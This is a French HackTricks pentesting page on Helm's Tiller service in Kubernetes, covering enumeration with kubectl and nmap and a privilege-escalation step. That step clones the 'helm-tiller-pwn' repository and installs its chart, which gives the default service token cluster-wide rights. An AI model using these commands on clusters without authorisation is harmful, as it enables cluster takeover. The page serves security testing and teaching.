{{#include ../banners/hacktricks-training.md}} # Informations de base Helm est le **gestionnaire de paquets** pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés **Helm Charts**. **Tiller** est le **service** **fonctionnant** par défaut sur le port 44134 offrant le service. **Port par défaut :** 44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` # Énumération Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom** : ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` Exemples : ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` Vous pouvez également essayer de trouver ce service en vérifiant le port 44134 : ```bash sudo nmap -sS -p 44134 ``` Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using_helm/#installing-helm). Ensuite, vous pouvez **énumérer le service** : ``` helm --host tiller-deploy.kube-system:44134 version ``` ## Escalade de privilèges Par défaut, **Helm2** a été installé dans le **namespace kube-system** avec des **privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**escalader les privilèges**. Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera au **jeton de service par défaut un accès à tout dans l'ensemble du cluster.** ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez l'**explication de l'attaque**, mais en gros, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) à l'intérieur de _helm-tiller-pwn/pwnchart/templates/_ vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**. {{#include ../banners/hacktricks-training.md}}